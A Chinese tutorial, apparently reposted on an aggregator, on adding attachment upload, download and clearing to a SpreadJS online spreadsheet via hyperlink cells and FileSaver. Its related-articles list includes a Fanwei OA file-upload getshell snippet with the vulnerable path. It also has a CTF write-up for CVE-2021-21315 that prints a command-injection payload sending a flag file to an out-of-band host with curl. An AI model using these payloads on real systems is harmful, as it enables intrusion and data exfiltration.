JavaScript實現在線Excel的附件上傳與下載

摘要:本文由葡萄城技術團隊于CSDN原創并首發。轉載請注明出處:葡萄城官網,葡萄城為開發者提供專業的開發工具、解決方案和服務,賦能開發者。

前言

在本地使用Excel時,經常會有需要在Excel中添加一些附件文件的需求,例如在Excel中附帶一些Word,CAD圖等等。同樣的,類比到Web端,現在很多人用的在線Excel是否也可以像本地一樣實現附件文件的操作呢?答案是肯定的,不過和本地不同的是,Web端不會直接打開附件,而是使用超鏈接單元格的形式來顯示,今天小編將為大家介紹使用前端HTML+JS+CSS技術通過超鏈接單元格的形式實現在線Excel附件上傳、下載和修改的操作。

使用JS實現附件上傳

實現的方式分為四個步驟:

1.創建前端頁面

2編寫暫存附件信息的方法

3.編寫附件文件清除的方法

4.編寫文件保存和文件加載的方法

1.創建前端頁面

核心代碼:

<div style="margin-bottom: 8px"><button id="uploadAttach">上傳附件</button><button id="removeAttach">清除附件</button><button id="fileSaver">文件保存</button><button id="loadSubmitFile">加載文件</button><button id="loadPackage">打包下載</button></div><div id="fileOperate" style="visibility: hidden;position: absolute;top: 100px;left: 300px;z-index: 10; background-color: #eee;padding: 16px"><label for="choseFile">選擇文件\</label><input type="file" id="choseFile" name="choseFile"/><button id="submit">提交</button><button id="cancel">取消</button></div>

點擊上傳附件按鈕可以把附件上傳到對應的單元格,清除附件會清理掉所有已經上傳過的附件信息,打包下載會對所有的附件進行統一下載。

2.暫存附件信息方法

這一步起始主要用來設置文件上傳之后單元格超鏈接及tag信息。細心的同學會注意到,這里我注冊了一個命令,超鏈接本身會有一個跳轉的行為,寫command之后,會阻止這個默認跳轉,轉去執行對應的命令。注冊的命令主要就是用來做附件文件的下載。

核心代碼:

function hasAttachFile(sheet,row,col,file){\*\*\* 附件文件暫存\* 這里由于沒有服務端,所以我直接存了File對象,但File對象只有在實際使用時才會去獲取實際的文件內容。在demo中可行\* 在實際項目中,需要將file對象上傳到文件服務器中\* 上傳完成后tag中的fileInfo應該代表的是文件的訪問地址,而不能再是File對象。\*sheet.setValue(row,col,file.name)sheet.setTag(row,col,{type: hyerlinkType,fileInfo: file // 實際項目中fileInfo應該為上傳完成文件的訪問路徑})sheet.setHyperlink(row, col, {url: file.name,linkColor: '#0066cc',visitedLinkColor: '#3399ff',drawUnderline: true,command:'downloadAttachFile',}, GC.Spread.Sheets.SheetArea.viewport);}

在這里,我引入了三方組件庫FileSaver,在點擊超鏈接單元格時,可以支持當前附件文件的下載。

// 下載文件spread.commandManager().register("downloadAttachFile",{canUndo: false,execute: function(context,options,isUndo){let sheet = context.getActiveSheet()let row = sheet.getActiveRowIndex()let col = sheet.getActiveColumnIndex()let cellTag = sheet.getTag(row,col)console.log(sheet,row,col,cellTag)if(cellTag && cellTag.type==hyerlinkType){\*\*\*\* 純前端demo,文件存在于本地,fileInfo中存儲的是File對象,可以直接獲取到文件\* 實際項目中,fileInfo應該是上傳到文件服務器上的文件訪問地址。\* 因此這里需要發送請求,先獲取文件blob,將獲取的blob傳遞到saveAs的第二個參數中。\*saveAs(cellTag.fileInfo,cellTag.fileInfo.name)}}})

3. 附件文件清除

document.getElementById("removeAttach").onclick = function(){\*\*\*\* 清除附件\* 清除附件需要先刪除遠程文件服務器的文件,之后清除單元格的Tag信息。\* 這里前端演示demo,只刪除了tag。\* 實際項目中tag中的fileInfo應該是文件上傳后的路徑\*let sheet = spread.getActiveSheet()let row = sheet.getActiveRowIndex()let col = sheet.getActiveColumnIndex()spread.commandManager().execute({cmd:"removeAttachFile",sheet,row,col})
}

4. 文件保存/加載

將文件保存成為JSON結構:

document.getElementById("fileSaver").onclick = function(){// 保存文件submitFile = spread.toJSON()spread.clearSheets()spread.addSheet(0)}加載已保存文件:document.getElementById("loadSubmitFile").onclick = function(){// 加載已保存文件spread.fromJSON(submitFile)}

實現功能和效果:

在需要在某個單元格中上傳附件時,我們可以彈出一個模態框,在模態框中上傳文件,點擊提交之后,可以對文件做一個暫存,將文件信息存儲在單元格的Tag中,點擊單元格可以下載文件。

完整代碼和在線Demo地址:

https://jscodemine.grapecity.com/share/VHlpNyuP-0CIBNleP5jtyA/

擴展鏈接:

Spring Boot框架下實現Excel服務端導入導出

項目實戰:在線報價采購系統(React +SpreadJS+Echarts)

Svelte 框架結合 SpreadJS 實現純前端類 Excel 在線報表設計

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/news/39046.shtml
繁體地址,請注明出處:http://hk.pswp.cn/news/39046.shtml
英文地址,請注明出處:http://en.pswp.cn/news/39046.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

Clickhouse基于文件復制寫入

背景 目前clickhouse社區對于數據的寫入主要基于文件本地表、分布式表方式為主&#xff0c;但缺乏大批量快速寫入場景下的數據寫入方式&#xff0c;本文提供了一種基于clickhouse local 客戶端工具分布式處理hdfs數據表文件&#xff0c;并將clickhouse以文件復制的方式完成寫入…

解決并發沖突:Java實現MySQL數據鎖定策略

在并發環境下&#xff0c;多個線程同時對MySQL數據庫進行讀寫操作可能會導致數據沖突和不一致的問題。為了解決這些并發沖突&#xff0c;我們可以采用數據鎖定策略來保證數據的一致性和完整性。下面將介紹如何使用Java實現MySQL數據鎖定策略&#xff0c;以及相關的注意事項和最…

開源低代碼平臺Openblocks

網友 HankMeng 想看低代碼工具&#xff0c;正好手上有一個&#xff1b; 什么是 Openblocks &#xff1f; Openblocks 是一個開發人員友好的開源低代碼平臺&#xff0c;可在幾分鐘內構建內部應用程序。 傳統上&#xff0c;構建內部應用程序需要復雜的前端和后端交互&#xff0c;…

如何保證微信小游戲存檔不丟失?

引言 微信小游戲的興起為玩家提供了一個輕松便捷的娛樂方式&#xff0c;然而&#xff0c;存檔丟失問題一直以來都是開發者和玩家關注的焦點。為了確保玩家的游戲體驗和投入能夠得到充分的保障&#xff0c;開發團隊需要采取一系列方法來保障微信小游戲存檔不丟失。本文將介紹一…

學習筆記十五:基于YUM文件運行POD應用

基于YUM文件運行POD應用 通過資源清單文件創建第一個Pod更新資源清單文件查看pod是否創建成功查看pod的ip和pod調度到哪個節點上假如pod里有多個容器&#xff0c;進入到pod里的指定容器查看pod詳細信息查看pod具有哪些標簽&#xff1a;刪除pod通過kubectl run創建Pod Pod資源清…

word之插入尾注+快速回到剛才編輯的地方

1-插入尾注 在編輯文檔時&#xff0c;經常需要對一段話插入一段描述或者附件鏈接等&#xff0c;使用腳注經常因占用篇幅較大導致文檔頁面內容雜亂&#xff0c;這事可以使用快捷鍵 ControlaltD 即可在 整個行文的末尾插入尾注&#xff0c;這樣文章整體干凈整潔&#xff0c;需…

【枚舉邊+MST+組合計數】CF1857G

Problem - 1857G - Codeforces 題意&#xff1a; 思路&#xff1a; 首先觀察一下樣例&#xff1a; 可以發現對于每一對點&#xff0c;貢獻是 s - 這對點對應的環的最大邊 1 那么這樣就有了 n^2 的做法 然后&#xff0c;根據慣用套路&#xff0c;枚舉樹上的點對問題可以轉…

Prometheus的搭建與使用

一、安裝Prometheus 官網下載地址&#xff1a;Download | Prometheus 解壓&#xff1a;tar -zxvf prometheus-2.19.2.linux-amd64.tar.gz重命名&#xff1a; mv prometheus-2.19.2.linux-amd64 /home/prometheus進入對應目錄&#xff1a; cd /home/prometheus查看配置文件&am…

淺析市面電商CRM系統|排單系統存在的不足

筆者做CRM尤其是電商CRM系統7年&#xff0c;相信我的分享能夠幫助大家對電商CRM有個清晰的認知。 系統本身是用來提升效率的&#xff0c;針對不少電商賣家或服務商&#xff0c;都有使用CRM系統來管理粉絲鏈接與營銷、銷售推廣等環節&#xff0c;來實現完整的CRM鏈路。尤其是在當…

OpenCV-Python中的圖像處理-傅里葉變換

OpenCV-Python中的圖像處理-傅里葉變換 傅里葉變換Numpy中的傅里葉變換Numpy中的傅里葉逆變換OpenCV中的傅里葉變換OpenCV中的傅里葉逆變換 DFT的性能優化不同濾波算子傅里葉變換對比 傅里葉變換 傅里葉變換經常被用來分析不同濾波器的頻率特性。我們可以使用 2D 離散傅里葉變…

2308C++對稱轉移

原文 了解對稱轉移 協程組提供了個編寫異步代碼的絕妙方法,與同步代碼一樣.只需要在合適地點加上協待,編譯器就會負責掛起協程,跨掛起點保留狀態,并在操作完成后恢復協程. 但是,最初有個令人討厭的限制,如果不小心,很容易導致棧溢出.如果想避免它,則必須引入額外同步成本,以…

Unity Spine幀事件

SpinePro中添加事件幀 首先 選中右上角的層級樹 然后選擇事件選項 最后在右下角看到 新建 點擊它 新建一個事件 點擊左上角的設置按鈕 彈出編輯窗口 編輯窗口 在右上角 動畫欄 可以切換對應的動畫 點坐邊的那個小灰點來切換 亮點代表當前動畫 選中幀 添加事件 點擊對應事件…

突破防線!泛微OA任意文件上傳Getshell

子曰&#xff1a;“巧言令色&#xff0c;鮮矣仁。” 漏洞復現 訪問漏洞url&#xff1a; 存在漏洞的路徑為 /weaver/weaver.common.Ctrl/.css?arg0com.cloudstore.api.service.Service_CheckApp&arg1validateApp漏洞利用&#xff1a; 漏洞證明&#xff1a; 文筆生疏&…

ubuntu 20.0.4 搭建nvidia 顯卡環境

一、安裝docker 1、安裝dokcer sudo apt install docker.io2、docker 添加到用戶組 創建docker用戶組 sudo groupadd docker添加當前用戶加入docker用戶組 sudo usermod -aG docker ${USER}重啟docker服務 sudo systemctl restart docker切換或者退出當前賬戶再從新登入 …

openGauss學習筆記-41 openGauss 高級數據管理-匿名塊

文章目錄 openGauss學習筆記-41 openGauss 高級數據管理-匿名塊41.1 語法41.2 參數說明41.3 示例 openGauss學習筆記-41 openGauss 高級數據管理-匿名塊 匿名塊&#xff08;Anonymous Block&#xff09;是存儲過程的字塊之一&#xff0c;沒有名稱。一般用于不頻繁執行的腳本或…

NPM與外部服務的集成(下)

目錄 1、撤消訪問令牌 2、在CI/CD工作流中使用私有包 2.1 創建新的訪問令牌 持續整合 持續部署 交互式工作流 CIDR白名單 2.2 將令牌設置為CI/CD服務器上的環境變量 2.3 創建并簽入特定于項目的.npmrc文件 2.4 令牌安全 3、Docker和私有模塊 3.1 背景&#xff1a;運…

了解異或的好處和用途

1.什么是異或&#xff1f; 異或&#xff1a;對于二進制&#xff0c;相同為0 不同為11 ⊕ 1 00 ⊕ 0 01 ⊕ 0 10 ⊕ 1 1 2.異或的好處&#xff1f; 異或的好處&#xff1f;1.快速比較兩個值 2.xor a a例如 a 3 011xor 0110003.可以使用 異或 來使某些特定的位翻轉【原因…

移遠RM500U-CN模塊直連嵌入式ubuntu實現撥號上網

目錄 1 平臺&#xff1a; 2 需要準備的資料 3 參考文檔 4 編譯環境與驅動移植 4.1 內核驅動添加廠家ID和產品ID 4. 2.添加零包處理 4.3 增加復位恢復機制 4.4 增加批量輸出 批量輸出 URB 的數量和容量 的數量和容量 4.5 內核配置與編譯 5 QM500U-CN撥號&#xff08;在開…

Ubuntu和centos版本有哪些區別

Ubuntu和CentOS是兩個非常流行的Linux發行版&#xff0c;它們在一些方面有一些區別&#xff0c;如下所示&#xff1a; CentOS的版本發布周期相對較長&#xff0c;主要是因為它是基于RedHatEnterpriseLinux(RHEL)的。這意味著在RHEL發布后才能推出對應的CentOS版本。而Ubuntu則在…

春秋云鏡 CVE-2021-21315

春秋云鏡 CVE-2021-21315 systeminformation存在命令注入 靶標介紹 systeminformation是一個簡單的查詢系統和OS信息包。 啟動場景 漏洞利用 exp /api/osinfo?param[]$(curl%20-d%20/flag%20xxx.ceye.io)登錄ceye.io平臺&#xff0c;curl請求 http://eci-2zed871sr7xrdjb…